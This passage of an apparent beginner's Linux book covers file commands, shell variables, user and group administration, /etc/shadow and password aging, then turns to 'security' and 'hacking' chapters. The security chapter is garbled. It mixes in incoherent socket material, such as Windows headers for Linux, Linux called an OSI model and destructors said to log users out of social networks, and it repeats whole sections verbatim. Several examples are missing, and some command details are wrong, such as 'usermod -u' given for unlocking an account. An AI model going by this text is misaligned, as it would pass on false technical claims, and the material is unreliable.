How do we identify a hard link? Usually the files connected to a file is 1. In


other words, itself. If the number is 2, that means it has a connection to
another file.
Another example,

Symbolic link does not change this increment of hard link number for each
file. See the following example.

What happens if the original file is removed?

Now here you can see the hard_link has reduced to its links to 1. The
symbolic link displays a broken or what we call the orphan state.

File Renaming
Next, we will look at how file renaming works. For this the command
used is mv. mv stands for “move”.
Syntax: mv [options] source dest
Example: mv LICENSE LICENSE_1
You must be cautious when you use this command. If you do the following,
what would happen?

One advantage of this command is that you can move and rename the file all
together, especially when you do it from one location to another.
Example: Moving /home/jan/Desktop/Y/snapt to /Desktop while renaming it
so Snap. This is similar to a cut and paste on Windows except for the
renaming part.
Example: mv /home/jan/Desktop/Y/snapt/ ./Snap

Removing Files
To remove files, use rm command. rm command does not ask you if you
want to delete the file. Therefore, you must use the -i option with it.
Syntax: rm [OPTION]... FILE...
Managing Directories
There is a set of commands to create and remove directories.
To create a directory, use the mkdir command.
To remove a directory, use the rmdir command.
Syntax: mkdir [-m=mode] [-p] [-v] [-Z=context] directory [directory ...]
rmdir [-p] [-v | –verbose] [–ignore-fail-on-non-empty] [directories …]
Example: Creating a set of directories with the mkdir command. To create a
tree of directories you must use -p. If you try without it, you won’t succeed.

Command: mkdir -p ./Dir1/Dir1_Child1/Child1_Child2

Example: rmdir ./Dir1/Dir1_Child1/Child1_Child2

To remove a directory with the rmdir command is not possible if the


directory has files in it.

You have to remove the files first in order to remove the directory. In this
case, you can use another command to do this recursively.
Example: rm -rf /Temp

Managing File Content


File content management is extremely useful for day to day work. You can
use several commands to view and manage content.
Let’s look at the file command first. It helps us to have a peak into the file
and see what it actually is. It can do more.
- This command provides an overview of the file.
- It tells you if the file is a directory.
- It tells you if the file is a symbolic link.
- It can display file properties especially against binary executables (a
secure operation).
- It may brief you about the content (i.e., when executed against a script
file).
Syntax: file [option] [filename]

Viewing Files with cat Command


To view files, you cannot use the file command. You can use a more
versatile command known as cat.
Syntax: cat [OPTION] [FILE]...
This command is an excellent tool to view a certain file or files at once, parts
of the files and especially logs.
Example: cat test.txt
Example: Viewing 2 files together.
Command: cat test.txt testx.txt

Creating files with cat is also possible. The following command can create a
file.
Example: cat >testy
The cat command can be used with 2 familiar commands we used earlier.
The less and more commands.
Example: cat test.txt | more

Example: cat test.txt | less

Example: Displaying a line number with cat.


Command: cat -n testx.txt
Overwriting the Files with cat - You can use the redirection (standard
input) operator (>). The following command will overwrite the text file.
This is a useful tool, but you have to use it with caution. This can be
performed for multiple files to obtain a single file.
Example: cat test.txt > testx.txt
Appending file content with cat without overwriting – Since the previous
command causes overwriting, it cannot be used if you are willing to append a
content from one file to another.
Example: cat textx.txt >> testy.txt

Example: Using standard input with cat.


Command: cat < testy

Using head and tail commands


By default, the head command displays 10 lines from the top and tail
command displays the 10 lines from the bottom.
Examples:
- head testy
- tail testy
- head -2 testy
- tail -2 testy
Chapter 9 Variables
The echo command is used in printing out the values present inside the
variables. In Linux, creation of variables is very easy. For example, in order
to store a name, John into a variable name, you can do something similar to
what’s being shown below:
[root@archserver ~]# name="John"
The double quotation marks tell Linux that you are creating a variable which
will hold string typed value: John. If your string contains only one word then
you can ignore the quotation marks, but if you are storing a phrase that
contains more than one word and whitespaces than you must use the double
quotation marks. To see the value inside any variable, you have to use the
dollar sign ($) before mentioning the name of the variable in the echo
command. Like this:
[root@archserver ~]# echo $name
John
If you miss the dollar sign ($), echo will treat the argument passed to it as a
string and will print that string for example:
[root@archserver ~]# echo name
name
You should keep in mind that there should not be any white spaces present
between the identifier of the variable and its value. An identifier is basically
the name or signature of a variable:
[root@archserver ~]# x=5 # This syntax is correct because there aren’t any
whitespaces
[root@archserver ~]# x = 10 # This syntax is incorrect because whitespaces
are
#present between the variable name and its value
If you want to store some value inside a file whilst using the echo command,
you could do something like this:
[root@archserver NewFolder]# echo name > new.txt
[root@archserver NewFolder]# cat new.txt
name
In the example above, I am storing a string name into a file that I created.
After storing the text in the file, I printed it on the terminal and got exactly
what I stored in the text file. In the following set of commands, I am using
double >> signs to append new text in the existing file.
[root@archserver NewFolder]# echo "is something that people use to
recognize you!" >> new.txt
[root@archserver NewFolder]# cat new.txt
name
is something that people use to recognize you!
You can also create and print two variables with a single line of command
each, respectively.
Example:
[root@archserver ~]# x=1; y=2
[root@archserver ~]# echo -e "$x\t$y"
12
[root@archserver ~]# echo -e "$x\n$y"
1
2
The flag –e tells Linux that I am going to use an escape character whilst
printing the values of my variable. The first echo command in the example
above contains the \t escape character, which means that a tab of space should
be added whilst printing the values of variables passed. The second echo
command also contains an escape character of new line: \n. This escape
character will print a new line between the values of two variables, as it is
shown in the aforementioned example.
There are other escape sequences present in Linux terminal as well. For
example, in order to print a back slash as part of your string value, you must
use double back slash in your echo command:
[root@archserver ~]# echo -e "$x\\$y"
1\2
There are other variables present in the Linux too, there variables store some
values that come in handy whilst using any distribution of Linux. These
predefined variables are often referred to as global variables. For example,
$HOME is one of those global variable. The $HOME variable stores the path
of our default directory, which in our case is the HOME folder. We can see
the path stored in the $HOME folder using the echo command:
[root@archserver ~]# echo $HOME
/root
We can also change the values of these global variables, using the same
method that I used to store Value into a newly created variables. For now, I
would ask you not to try that, as these kind of things only concern expert
Linux users, which you are not right now, but soon you will be. Other global
variables are:

1. PATH
2. PS1
3. TMPDIR
4. EDITOR
5. DISPLAY
Try echoing there values, but don’t change them, as they will affect the
working of your Linux Installation:
[root@archserver ~]# echo $PS1
[\u@\h \W]\$
[root@archserver ~]# echo $EDITOR

[root@archserver ~]# echo $DISPLAY


:1
[root@archserver ~]# echo $TMPDIR
The most important global variable of all is the $PATH variable. The $PATH
variable contains the directories / locations of all the programs that you can
use from any directory. $PATH is similar to the environment variables
present in the WINDOWS operating system. Both hold the directory paths to
the programs. Let’s print the $PATH variable. Our outputs might differ so
don’t worry if you see something different:
Example:
[root@archserver ~]# echo $PATH
Output:
/usr/local/sbin:/usr/local/bin:/usr/bin:/usr/bin/site_perl:/usr/bin/vendor_perl:/usr/bin/core
The output of the example above shows the path where Linux can find files
related to site_perl, vendor_perl or core_perl. You can add values to the path
variable too. But again, at this stage you shouldn’t change any value present
in the $PATH variable.
If you want to see where the commands that you use, reside in the directory
structure of Linux, you should use the which command. It will print out the
directory from where Linux is getting the definition of a command passed.
Example:
[root@archserver ~]# which ls
/usr/bin/ls

[root@archserver ~]# which pwd


/usr/bin/pwd

[root@archserver ~]# which cd


which: no cd in
(/usr/local/sbin:/usr/local/bin:/usr/bin:/usr/bin/site_perl:/usr/bin/vendor_perl:/usr/bin/cor

[root@archserver ~]# which mv


/usr/bin/mv
Chapter 10 User and Group Management
In this chapter, we will learn about users and groups in Linux and how to
manage them and administer password policies for these users. By the end of
this chapter, you will be well versed with the role of users and groups on a
Linux system and how they are interpreted by the operating system. You will
learn to create, modify, lock and delete user and group accounts, which have
been created locally. You will also learn how to manually lock accounts by
enforcing a password-aging policy in the shadow password file.
Users and Groups
In this section, we will understand what users and groups are and what is
their association with the operating system.
Who is a user?
Every process or a running program on the operating system runs as a user.
The ownership of every file lies with a user in the system. A user restricts
access to a file or a directory. Hence, if a process is running as a user, that
user will determine the files and directories the process will have access to.
You can know about the currently logged-in user using the id command. If
you pass another user as an argument to the id command, you can retrieve
basic information of that other user as well.
If you want to know the user associated with a file or a directory, you can
use the ls -l command and the third column in the output shows the
username.
You can also view information related to a process by using the ps
command. The default output to this command will show processes
running only in the current shell. If you use the ps a option in the
command, you will get to see all the process across the terminal. If you
wish to know the user associated with a command, you can pass the u
option with the ps command and the first column of the output will show
the user.
The outputs that we have discussed will show the users by their name, but the
system uses a user ID called UID to track the users internally. The usernames
are mapped to numbers using a database in the system. There is a flat file
stored at /etc/passwd, which stored the information of all users. There are
seven fields for every user in this file.
username: password:UID:GID:GECOS:/home/dir:shell
username:
Username is simply the pointing of a user ID UID to a name so that humans
can retain it better.
password:
This field is where passwords of users used to be saved in the past, but now
they are stored in a different file located at /etc/shadow
UID:
It is a user ID, which is numeric and used to identify a user by the system at
the most fundamental level
GID:
This is the primary group number of a user. We will discuss groups in a while
GECOS:
This is a field using arbitrary text, which usually is the full name of the user
/home/dir:
This is the location of the home directory of the user where the user has their
personal data and other configuration files
shell:
This is the program that runs after the user logs in. For a regular user, this
will mostly be the program that gives the user the command line prompt
What is a group?
Just like users, there are names and group ID GID numbers associated with a
group. Local group information can be found at /etc/group
There are two types of groups. Primary and supplementary. Let’s understand
the features of each one by one.
Primary Group:

There is exactly one primary group for every user


The primary group of local users is defined by the fourth field
in the /etc/passwd file where the group number GID is listed
New files created by the user are owned by the primary group
The primary group of a user by default has the same name as
that of the user. This is a User Private Group (UPG) and the
user is the only member of this group
Supplementary Group:

A user can be a member of zero or more supplementary groups


The primary group of local users is defined by the last field in
the /etc/group file. For local groups, the membership of the
user is identified by a comma separated list of user, which is
located in the last field of the group’s entry in /etc/group
groupname: password:GID:list, of, users, in, this, group
The concept of supplementary groups is in place so that users
can be part of more group and in turn have to resources and
services that belong to other groups in the system
Getting Superuser Access
In this section, we will learn about what the root user is and how you can be
the root or superuser and gain full access over the system.
The root user
There is one user in every operating system that is known as the super user
and has all access and rights on that system. In a Windows based operating
system, you may have heard about the superuser known as the
administrator. In Linux based operating systems, this superuser is known
as the root user. The root user has the power to override any normal
privileges on the file system and is generally used to administer and
manage the system. If you want to perform tasks such as installing new
software or removing an existing software, and other tasks such as manage
files and directories in the system, a user will have to escalate privileges to
the root user.
Most devices on an operating system can be controlled only by the root user,
but there are a few exceptions. A normal user gets to control removable
devices such as a USB drive. A non-root user can, therefore, manage and
remove files on a removable device but if you want to make modifications to
a fixed hard drive, that would only be possible for a root user.
But as we have heard, with great power comes great responsibility. Given the
unlimited powers that the root user has, those powers can be used to damage
the system as well. A root user can delete files and directories, remove or
modify user accounts, create backdoors in the system, etc. Someone else can
gain full control over the system if the root user account gets compromised.
Therefore, it is always advisable that you login as a normal user and escalate
privileges to the root user only when absolutely required.
The root account on Linux operating system is the equivalent of the local
Administrator account on Windows operating systems. It is a practice in
Linux to login as a regular user and then use tools to gain certain privileges of
the root account.
Using Su to Switch Users
You can switch to a different user account in Linux using the su
command. If you do not pass a username as an argument to the su
command, it is implied that you want to switch to the root user account. If
you are invoking the command as a regular user, you will be prompted to
enter the password of the account that you want to switch to. However, if
you invoke the command as a root user, you will not need to enter the
password of the account that you are switching to.
su - <username>
[student@desktop ~]$ su -
Passord: rootpassword
[root@desktop ~]#
If you use the command su username, it will start a session in a non-login
shell. But if you use the command as su - username, there will be a login
shell initiated for the user. This means that using su - username sets up a new
and clean login for the new user whereas just using su username will retain
all the current settings of the current shell. Mostly, to get the new user’s
default settings, administrators usually use the su - command.

sudo and the root


There is a very strict model implemented in linux operating systems for users.
The root user has the power to do everything while the other users can do
nothing that is related to the system. The common solution, which was
followed in the past was to allow the normal user to become the root user
using the su command for a temporary period until the required task was
completed. This, however, has the disadvantage that a regular user literally
would become the root user and gain all the powers of the root user. They
could then make critical changes to the system like restarting the system and
even delete an entire directory like /etc. Also, gaining access to become the
root user would involve another issue that every user switching to the root
user would need to know the password of the root user, which is not a very
good idea.
This is where the sudo command comes into the picture. The sudo
command lets a regular user run command as if they are the root user, or
another user, as per the settings defined in the /etc/sudoers file. While
other tools like su would require you to know the password of the root
user, the sudo command requires you to know only your own password for
authentication, and not the password of the account that you are trying to
gain access to. By doing this, it allows the administrator of the system to
allow a certain list of privileges to regular users such that they perform
system administration tasks, without actually needing to know the root
password.
Lets us see an example where the student user through sudo has been
granted access to run the usermod command. With this access, the student
user can now modify any other user account and lock that account
[student@desktop ~]$ sudo usermod -L username
[sudo] password for student: studentpassword
Another benefit of using the sudo access is that all commands that any
user runs using sudo are logged to /var/log/secure.
Managing User Accounts
In this section, you will learn how to create, modify, lock and delete user
accounts that are defined locally in the system. There are a lot of tools
available on the command line, which can be invoked to manage local user
accounts. Let us go through them one by one and understand what they do.
useradd username is a command that creates a new user with the
username that has been specified and creates default parameters for the
user in the /etc/passwd file when the command is run without using an
option. Although, the command will not set any default password for the
new user and therefore, the user will not be able to login until a password
has been set for them.
The useradd --help will give you a list of options that can be specified for
the useradd command and using these will override the default parameters
of the user in the /etc/passwd file. For a few options, you can also use the
usermod command to modify existing users.
There are certain parameters for the user, such as the password aging
policy or the range of the UID numbers, which will be read from the
/etc/login.defs file. The file only comes into picture while creating new
users. Modifying this file will not make any changes to existing users on
the system.
● usermod --help will display all the basic options that you can use with
this command, which can be used to manage user accounts. Let us go through
these in brief
-c, --comment This option is used to add a value such as full name
COMMENT to the GECOS field

-g, --gid GROUP The primary group of the user can be specified using
this option

-G, --groups Associate one or more supplementary groups with


GROUPS user

-a, --append The option is used with the -G option to add the user
to all specified supplementary groups without
removing the user from other groups

-d, --home The option allows you to modify a new home


HOME_DIR directory for the user

-m, --move-home You can move the location of the user’s home
directory to a new location by using the -d option

-s, --shell SHELL The login shell of the user is changed using this
option
-L, --lock Lock a user account using this option

-U, --unlock Unlock a user account using this option

● userdel username deletes the user from the /etc/passwd file but does not
delete the home directory of that user.
userdel -r username deletes the user from /etc/passwd and deletes their home
directory along with its content as well.
● id displays the user details of the current user, which includes the UID
of the user and group memberships.
id username will display the details of the user specified, which includes the
UID of the user and group memberships.
● passwd username is a command that can be used to set the user’s initial
password or modify the user’s existing password.
The root user has the power to set the password to any value. If the criteria
for password strength is not met, a warning message will appear, but the root
user can retype the same password and set the password for a given user
anyway.
If it is a regular user, they will need to select a password, which is at least 8
characters long, should not be the same as the username, or a previous word,
or a word that can be found in the dictionary.
● UID Ranges are ranges that are reserved for specific purposes in
Red Hat Enterprise Linux 7
UID 0 is always assigned to the root user.
UID 1-200 are assigned by the system to system processes in a static
manner.
UID 201-999 are assigned to the system process that does not own any file
in the system. They are dynamically assigned whenever an installed
software request for a process.
UID 1000+ are assigned to regular users of the system.
Managing Group Accounts
In this section, we will learn about how to create, modify, and delete group
accounts that have been created locally.
It is important that the group already exists before you can add users to a
group. There are many tools available on the Linux command line that will
help you to manage local groups. Let us go through these commands used for
groups one by one.
● groupadd groupname is a command that if used without any options
creates a new group and assigns the next available GID in the group range
and defines the group in the /etc/login.defs file
You can specify a GID by using the option -g GID
[student@desktop ~]$ sudo groupadd -g 5000 ateam
The -r option will create a group that is system specific and assign it a
GID belonging to the system range, which is defined in the /etc/login.defs
file.
[student@desktop ~]$ sudo groupadd -r professors
● groupmod command is used to modify the parameters of an existing
group such as changing the mapping of the groupname to the GID. The -n
option is used to specify a new name to the group.
[student@desktop ~]$ sudo groupmod -n professors lecturers
The -g option is passed along with the command if you want to assign a
new GID to the group.
[student@desktop ~]$ sudo groupmod -g 6000 ateam

● groupdel command is used to delete the group.


[student@desktop ~]$ sudo groupdel ateam
Using groupdel may not work on a group that is the primary group of a user.
Just like userdel, you need to be careful with groupdel that you check that
there are no files on the system owned by the user existing after deleting the
group.
● usermod command is used to modify the membership of a user to a
group. You can use the command usermod -g groupname to achieve the
same.
[student@desktop ~]$ sudo usermod -g student student
You can add a user to the supplementary group using the usermod -aG
groupname username command.
[student@desktop ~]$ sudo usermod -aG wheel student
Using the -a option ensures that modifications to the user are done in append
mode. If you do not use it, you will be removed from all other groups and be
only added to the new group.
User Password Management
In this section, we will learn about the shadow password file and how you
can use it to manually lock accounts or set password-aging policies to an
account. In the initial days of Linux development, the encrypted password for
a user was stored in the file at /etc/passwd, which was world-readable. This
was tested and found to be a secure path until attackers started using
dictionary attacks on encrypted passwords. It was then that it was decided to
move the location of encrypted password hash to a more secure location,
which is at /etc/shadow file. The latest implementation allows you to set
password-aging policies and expiration features using this new file.
The modern password hash has three pieces of information in it. Consider the
following password hash:
$1$gCLa2/Z$6Pu0EKAzfCjxjv2hoLOB/
1: This part specifies the hashing algorithm used. The number 1 indicates
that an MD5 hash has been implemented. The number 6 comes into the
hash when a SHA-512 hash is used.
gCLa2/Z: This indicates the salt used to encrypt the hash. It is a randomly
chosen salt at first. The combination of the unencrypted password and salt
together form the encrypted hash. The advantage of having a salt is that
two users who may be using the same password will not have identical
hash entries in the /etc/shadow file.
6Pu0EKAzfCjxjv2hoLOB/: This is the encrypted hash.
In the event of a user trying to log in to the system, the system looks up for
their entry in the /etc/shadow file. It then combines the unencrypted password
entered by the user with the salt for the user and uses the hash algorithm
specified to encrypt this combination. It is implied that the password typed by
the user is correct of this hash matches with the hash in the /etc/shadow file.
Otherwise, the user has just typed in the wrong password and their login
attempt fails. This method is secure as it allows the system to determine if a
user typed in the correct password without having to store the actual
unencrypted password in the file system.
The format of the /etc/shadow file is as below. There are 9 fields for every
user as follows.
name:password:lastchange:minage:maxage:warning: inactive: expire:
name: This needs to be a valid username on a particular system through
which a user logs in.
password: This is where the encrypted password of the user is stored. If the
field starts with an exclamation mark, it means that password is locked.
lastchange: This is the timestamp of the last password change done for the
account.
minage: This defines the minimum number of days before a password needs
to be changed. If it is the number 0, it means there is no minimum age for the
account.
maxage: This defines the maximum number of days before a password needs
to be changed.
warning: This is a warning period that shows that the password is going to
expire. If the number is 0, it means that no warning will be given before
password expiry.
inactive: This is the number of days after password expiry the account will
stay inactive. During this, the user can use the expired password and still log
into the system to change his password. If the user fails to do so in the
specified number of days for this field, the account will get locked and
become inactive.
expire: This is the date when the account is set to expire.
blank: This is a blank field, which is reserved for future use.
Password Aging
Password aging is a technique that is employed by system administrators to
safeguard bad passwords, which are set by users of an organization. The
policy will basically set a number of days, which is 90 days by default after,
which a user will be forced to change their password. The advantage of
forcing a password change implies that even if someone has gained access to
a user’s password, they will have it with them only for a limited amount of
time. The con to this approach is that users will keep writing their password
in some place since they can’t memorize it if they keep changing it.
In Red Hat Enterprise Linux 7, there are two ways through, which password
aging can be enforced.

1. Using the chage command on the command line


2. Using the User Management application in the graphical
interface
The chage command with the -M option lets a system admin specify the
number of days for, which the password is valid. Let us look at an
example.
[student@desktop ~]$ sudo chage -M 90 alice
In this command, the password validity for the user alice will be set to 90
days after, which the user will be forced to reset their password. If you want
to disable password aging, you can specify the -M value as 9999, which is
equivalent to 273 years.
You can set password aging policies by using the graphical user interface
as well. There is an application called User Manager, which you can
access from the Main Menu Button > System Settings > Users & Groups.
Alternatively, you can type the command system-config-users in the
terminal window. The User Manager window will pop up. Navigate to the
Users tab, select the required user from the list, and click on the Properties
button where you can set the password aging policy.
Access Restriction
You can set the expiry for an account using the chage command. The user
will not be allowed to login to the system once that date is reached. You
can use the usermod command with the -L option to lock a particular user
account.
[student@desktop ~]$ sudo usermod -L alice
[student@desktop ~]$ su - alice
Password: alice
su: Authentication failure
The usermod command is useful to lock and expire an account at the same
time in a case where the employee might have left the company.
[student@desktop ~]$ sudo usermod -L -e 1 alice
A user may not be able to authenticate into the system using a password
once their account has been locked. It is one of the best practices to
prevent authentication of an employee to the system who has already left
the organization. You can use the usermod -u username command later to
unlock the account, in the event that the employee has rejoined the
organization. While doing this, if the account was in an expired state, you
will need to ensure that you set a new expiry date for the account as well.
The nologin shell
There will be instances where you want to create a user who can authenticate
using a password and get a login into the system but would not need a shell to
interact with the system. For example, a mail server may require a user to
have an email account so that the user can login and check their emails. But it
is not necessary that the user needs a login to the system to check their
emails.
This is where the nologin shell comes as a solution. What we do is we
specify the shell for this user to point to /sbin/nologin. Once this is done,
the user cannot login to the system using the direct login procedure.

[root@desktop ~]# usermod - s /sbin/nologin student


[root@desktop ~]# su - student
Last login: Tue Mar 5 20:40:34 GMT 2015 on pts/0
The account is currently not available.
By using the nologin shell for the user, you are denying the user interactive
login into the system but not all access to the system. The user will still be
able to use certain web applications for file transfer applications to upload or
download files.
Chapter 11 Learning Linux Security Techniques
To help you gain better security, and make sure your OS would always be in
a “healthy” state, it’s best that you take note of the commands given below:
Cross Platforms
You could also do cross-platform programming for Linux. For this, you have
to keep the following in mind:
windows.h and winsock.h should be used as the header files.
Instead of close(), closesocket() has to be used.
Send () and Receive() are used, instead of read() or write().
WSAStartup() is used to initialize the library.
Internet Message Protocol
Host Resolutions
One thing you have to keep in mind about this is that you should use the
syntax gethostname() so the standard library could make the right call.
This also happens when you’re trying to look for the name of a certain part
of the program, and when you want to use it for larger applications. It’s
almost the same as python as you could code it this way
Linux Sockets
What you have to understand about Linux is that it is an Open System
Interconnect (OSI) Internet Model which means that it works in sockets ().
In order to establish connections, you need to make use of listening
sockets so that the host could make calls—or in other words, connections.
By inputting listen (), the user will be able to accept () blocks on the
program. This binds () the program together and makes it whole. For this,
you could keep the following in mind:
Server: socket()→bind()→listen()→accept()→read()→write()→ read()
Send Request: write()→ read()
Receive Reply: write()→ read()
Establish connections: connect→ accept()
Close Connection: close()→ read()
Client: socket()→connect→write()→read()→ close()
Understanding basic Linux security
Construct and Destruct
These are connected to the descriptor of the socket that allow peer TCP Ports
and peer IP Addresses to show up onscreen. Take note that this does not use
other languages, except for C++, unlike its contemporaries in Linux.
Destructors are then able to close any connections that you have made. For
example, if you want to log out of one of your social networking accounts,
you’re able to do it because destructors are around.
Linux and SMTP Clients
As for SMTP Client, you could expect that it involves some of the same
characters above—with just a few adjustments. You also should keep in mind
that this is all about opening the socket, opening input and output streams,
reading and writing the socket, and lastly, cleaning the client portal up. You
also have to know that it involves the following:
Datagram Communication. This means that local sockets would work
every time your portal sends datagrams to various clients and servers.
Linux Communications. This time, stream and datagram
communication are involved.
Programming Sockets. And of course, you can expect you’ll program
sockets in the right manner!
Echo Client Set-ups
In Linux, Echo Clients work by means of inserting arguments inside the
socket() because it means that you will be able to use the IP together with
the PF_INET function so that they could both go in the TCP socket. To set
up a proper client structure, just remember you have to make a couple of
adjustments from earlier codes.
Linux and its Sockets
You also have to understand that you can code Linux in C mainly because
they both involve the use of sockets. the socket works like a bridge that binds
the client to the port, and is also responsible for sending the right kinds of
requests to the server while waiting for it to respond. Finally, sending and
receiving of data is done.
At the same time, the Linux Socket is also able to create a socket for the
server that would then bind itself to the port. During that stage, you can begin
listening to client traffic as it builds up. You could also wait for the client at
that point, and finally, see the sending and receiving of data to happen. Its
other functions are the following:
socket_description. This allows the description of both the client and the
server will show up onscreen.
write buffer. This describes the data that needs to be sent.
write buffer length. In order to write the buffer length, you’ll have to see
the string’s output.
client_socket. The socket description will also show on top.
address. This is used for the connect function so that address_len would
be on top.
address_len. If the second parameter is null, this would appear onscreen.
return. This helps return description of both the client and the socket.
This also lets interaction become easy between the client and the server.
server_socket. This is the description of the socket that’s located on top.
backlog. This is the amount of requests that have not yet been dealt with.
You could also put personal comments every once in a while—but definitely
not all the time!
Understanding advanced Linux security
Internet Protocol is all about providing boundaries in the network, as well as
relaying datagrams that allow internet-networking to happen.
The construction involves a header and a payload where the header is
known to be the main IP Address, and with interfaces that are connected
with the help of certain parameters. Routing prefixes and network
designation are also involved, together with internal or external gateway
protocols, too. Reliability also depends on end-to-end protocols, but
mostly, you could expect the framework to be this way:
UDP Header | UDP DATA→ Transport
IP Header | IP Data→ Internet
Frame Header | Frame Data | Frame Footer→ Link
Data→ Application
Getting Peer Information
In order to get peer information, you have to make sure that you return
both TCP and IP information. This way, you could be sure that both server
and client are connected to the network. You could also use the
getpeername() socket so that when information is available, it could
easily be captured and saved. This provides the right data to be sent and
received by various methods involved in Linux, and also contains proper
socket descriptors and grants privileges to others in the program. Some
may even be deemed private, to make the experience better for the users.
To accept information, let the socket TCPAcceptor::accept() be
prevalent in the network. This way, you could differentiate actions coming
from the server and the client.
Construct and Destruct
These are connected to the descriptor of the socket that allow peer TCP Ports
and peer IP Addresses to show up onscreen. Take note that this does not use
other languages, except for C++, unlike its contemporaries in Linux.
Destructors are then able to close any connections that you have made. For
example, if you want to log out of one of your social networking accounts,
you’re able to do it because destructors are around.
All Linux distros come with a robust selection of applications that you can
use for almost all of your daily computing needs. Almost all of these
applications are easily accessible using your distro’s GUI desktop.
In this chapter, you will get to know some of the most common Linux
applications and learn how to access them whenever you want to. You will
also get to know some of the file managers used by different GUIs, which
will allow you to make changes or browse files in your computer.
Almost all applications used by Linux have dedicated websites in which you
can find detailed information about them, including details on where and how
to download them. At the same time, all distros come with different sets of
utilities and apps that you can choose to install as you setup your chosen
distro.
If you have a missing app in a Debian or Debian-based distro, such as
Ubuntu, you can easily get that application as long as you have a high-speed
internet connection.
Linux and SMTP Clients
As for SMTP Client, you could expect that it involves some of the same
characters above—with just a few adjustments. You also should keep in mind
that this is all about opening the socket, opening input and output streams,
reading and writing the socket, and lastly, cleaning the client portal up. You
also have to know that it involves the following:
Datagram Communication. This means that local sockets would work
every time your portal sends datagrams to various clients and servers.
Linux Communications. This time, stream and datagram
communication are involved.
Programming Sockets. And of course, you can expect you’ll program
sockets in the right manner!
Echo Client Set-ups
In Linux, Echo Clients work by means of inserting arguments inside the
socket() because it means that you will be able to use the IP together with
the PF_INET function so that they could both go in the TCP socket. To set
up a proper client structure, just remember you have to make a couple of
adjustments from earlier codes.
Linux and its Sockets
You also have to understand that you can code Linux in C mainly because
they both involve the use of sockets. the socket works like a bridge that binds
the client to the port, and is also responsible for sending the right kinds of
requests to the server while waiting for it to respond. Finally, sending and
receiving of data is done.
At the same time, the Linux Socket is also able to create a socket for the
server that would then bind itself to the port. During that stage, you can begin
listening to client traffic as it builds up. You could also wait for the client at
that point, and finally, see the sending and receiving of data to happen. Its
other functions are the following:
socket_description. This allows the description of both the client and the
server will show up onscreen.
write buffer. This describes the data that needs to be sent.
write buffer length. In order to write the buffer length, you’ll have to see
the string’s output.
client_socket. The socket description will also show on top.
address. This is used for the connect function so that address_len would
be on top.
address_len. If the second parameter is null, this would appear onscreen.
return. This helps return description of both the client and the socket.
This also lets interaction become easy between the client and the server.
server_socket. This is the description of the socket that’s located on top.
backlog. This is the amount of requests that have not yet been dealt with.
You could also put personal comments every once in a while—but definitely
not all the time!
Enhancing Linux security with selinux
Technically speaking, Linux is not an operating system per se, as are the
distros that are based on the Linux kernel. Linux supported by the larger,
Free/Libre/Open Source Software community, a.k.a. FLOSS. This is also
essential for security enhanced Linux (SElinux). Linux kernel version 4.0
released in 2015 is important in the integration of Selinux with the access
policies. The coding has increased in length exponentially since its
development.
Before you get started with programming on Linux, you need to have a clear
idea of what your goals are. If your goal is to make money, you can create
apps that are sold for a fee. If your goal is to contribute to the community,
you need to figure out what particular niche you can help fill. If you are
running a large business, you may want to hire a small army of tech
personnel to create patches and applications that will help to better run your
business’s software. A goal is not something that a book can give you; it is
something that you have to come up with yourself. What the rest of this book
will give you is some of the basic know-how that you will need to get started
with making those goals regarding Linux attainable.
There is a permission setting that can be seen as threatening to security,
which is called setuid or suid (set user ID). This permission setting applies to
files that you can run, or executable files. When the setuid/suid permission is
allowed, a file is executed under the owner’s user ID. In short, if the suid
permission is on and the file is owned by the root user, the targeted program
will view the root user to be the one running the file and not check on who
ran the program in reality. This also means that the permission for suid will
allow the program to do more functions than what the owner intends all the
other users to perform. It also helps to take note that if the said program that
contains the suid permission has some security vulnerabilities, criminal
hackers can create more havoc through these programs.
To find all enabled suid permissions, you can use the find command like
this:

After entering this command, you will see a list of files that appears like this
example:

Take note that there are numerous programs that are set with a suid
permission because they require it. However, you may want to check the
entire list to make sure that there are no programs that have odd suid
permissions. For example, you may not want to have suid programs located
in your home directory.
Here is an example: typing the ls –l /bin/su will give you the following
result:
The character s in the permission setting alluded to the owner (appears as –
rws) shows that the file /bin/su has suid permission. This means that the su
command, which allows any user to have superuser privileges, can be used
by anyone.
Chapter 12 Some Basic Hacking with Linux
Now that you have hopefully gotten used to the Linux system and have some
ideas of how it works and such, it is a good time to learn a little bit about
hacking with Linux. whether you are using this system on your own or you
have it set up with a network of other people, there are a few types of hacking
that you may find useful to know how to do. This chapter is going to spend
some time exploring some basic hacking endeavors on the Linux system.
We want to spend some time looking at how we can work with the Linux
system to help us complete some of the ethical hacking that we would like to
do. While we are able to do some hacking with the help of Windows and
Mac, often, the best operating system to help us out with all of this is going to
be the Linux operating system. It already works on the command line, which
makes things a bit easier and will have all of the protection that you need as
well. And so, we are going to spend a bit of our time taking a closer look at
how the Linux system is going to be able to help us out with some of the
hacking we want to accomplish.
There are a lot of reasons that hackers are going to enjoy working with Linux
over some of the other operating systems that are out there. The first benefit
is that it is open source. This means that the source code is right there and
available for you to use and modify without having to pay a lot of fees or
worry that it is going to get you into trouble. This open-source also allows
you to gain more access to it, share it with others and so much more. And all
of these can be beneficial to someone who is ready to get started with
hacking as well.
The compatibility that comes with Linux is going to be beneficial for a
hacker as well. This operating system is going to be unique in that it is going
to help us support all of the software packages of Unix and it is also able to
support all of the common file formats that are with it as well. This is
important when it comes to helping us to work with some of the hacking
codes that we want to do later on.
Linux is also designed to be fast and easy to install. There are a number of
steps that we had to go through in order to get started. But when compared to
some of the other operating systems this is not going to be that many and it
can really help you to get the most out of this in as little time as possible.
You will quickly notice that most of the distributions that you are able to do
with Linux are going to have installations that are meant to be easy on the
user. And also, a lot of the popular distributions of Linux are going to come
with tools that will make installing any of the additional software that you
want as easy and friendly as possible too. Another thing that you might notice
with this is that the boot time of the operating system of Linux is going to be
faster than what we see with options like Mac and Windows, which can be
nice if you do not want to wait around all of the time.
When you are working on some of the hacks that you would like to
accomplish, the stability of the program is going to matter quite a bit. You do
not want to work with a system that is not all that stable, or that is going to
fall apart on you in no time. Linux is not going to have to go through the
same periodic reboots like others in order to maintain the level of
performance that you would like and it is not going to slow down or freeze up
over time if there are issues with leaks in the memory and more. You are also
able to use this operating system for a long time to come, without having to
worry about it slowing down or running into some of the other issues that the
traditional operating systems will need to worry about.
For someone who is going to spend their time working with ethical hacking,
this is going to be really important as well. It will ensure that you are able to
work with an operating system that is not going to slow down and cause
issues with the protections that you put in place on it. And you will not have
to worry about all of the issues that can come up with it being vulnerable and
causing issues down the line as well. It is going to be safe and secure along
the way, so that you are able to complete your hacks and keep things safe,
without having to worry about things not always working out the way that we
would hope.
